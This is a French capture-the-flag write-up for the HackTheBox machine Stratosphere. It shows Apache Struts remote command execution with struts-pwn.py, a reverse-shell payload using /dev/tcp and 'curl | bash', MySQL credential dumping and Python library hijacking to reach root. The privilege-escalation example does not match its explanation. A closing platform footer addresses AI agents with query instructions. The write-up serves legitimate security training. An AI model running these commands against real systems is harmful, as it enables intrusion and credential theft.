> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Rédaction HackTheBox Stratosphere Rédaction HackTheBox de la machine Linux Stratosphere de difficulté moyenne couvrant l’exploitation d’Apache Struts (CVE-2017-5638), le détournement d’une bibliothèque Python (escalade de privilèges), avec une énumération pratique, l’exploitation, l’obtention du premier accès, fo {% embed url="" %} {% hint style="warning" %} **Compétences :** * Exploitation d'Apache Struts (CVE-2017-5638) * Détournement de bibliothèque Python (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**Analyse des ports ouverts avec ExtractPorts (**22.80.8080**)** En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :** Utilisation de Nmap pour scanner la version des ports et extraire des informations dans le fichier "targeted" ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Exploration des services web (ports 80 et 8080) //* Les ports 80 et 8080 hébergent le même site web.

### Fuzzing avec **Gobuster** Nous lançons `Gobuster` pour rechercher des répertoires intéressants {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} Nous découvrons les chemins suivants : * `/manager` - Interface du gestionnaire Tomcat * `/monitoring` - Section de supervision

### Gestionnaire - Tomcat :

### Supervision :

## Exploitation d'Apache Struts (CVE-2017-5638) #### **Exploration du répertoire de supervision** En essayant de s'enregistrer, nous obtenons un message d'erreur. Nous observons également une extension `.action`, indiquant potentiellement une application basée sur Apache Struts

{% embed url="" %} Nous utilisons `struts-pwn.py` pour tester l'exécution de commandes à distance : ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` La commande fonctionne, confirmant la vulnérabilité.

#### **Shell inversé** 1. Écoute avec Netcat : ```bash nc -nvlp 443 ``` 2. Création d'un `index.html` fichier contenant notre shell inversé : ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. Hébergement du fichier avec un serveur web Python : ``` python3 -m http.server 8080 ``` 4. Exécution du shell inversé via l'exploit : {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} Malheureusement, cette approche échoue. ### **Extraction d'informations sensibles** Nous listons les fichiers sur le serveur :

Nous découvrons un `db_connect` fichier. En le postant, nous obtenons des identifiants : {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

Les informations récupérées à partir des identifiants MySQL : {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * user: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### Extraction d'informations - mysqlshow #### **Énumération des bases de données** Nous utilisons `mysqlshow` pour lister les bases de données accessibles avec l'utilisateur `admin` en exploitant une vulnérabilité Struts via `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

Cela nous permet d'identifier la base de données **users**. #### **Résumé des tables** Ensuite, nous listons les tables de la base **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **Énumération des colonnes et extraction des identifiants** Nous listons maintenant les colonnes de la table **accounts** et essayons d'en extraire le contenu {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

Nous obtenons les informations suivantes : * **Nom d'utilisateur**: `richard` * **Mot de passe**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

Nous utilisons les informations trouvées pour nous connecter en SSH à la machine cible : ```bash ssh richard@10.10.10.64 ```

### Drapeau user.txt :)

## Élévation de privilèges ### Élévation de privilèges par détournement de bibliothèque Python Tout d'abord, exécutez la commande suivante pour lister les `sudo` droits :

Nous remarquons que nous avons l'autorisation d'exécuter un script Python en tant que `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

En analysant le `/home/richard/test.py` script, on observe qu'il importe un module sans préciser son chemin absolu, par exemple : ``` import os os.system("bash") ``` Ensuite, nous exécutons le script en tant que `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * Une fois le script lancé, notre version malveillante de `hashlib.py` est chargée, lançant un shell avec `root` des privilèges.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.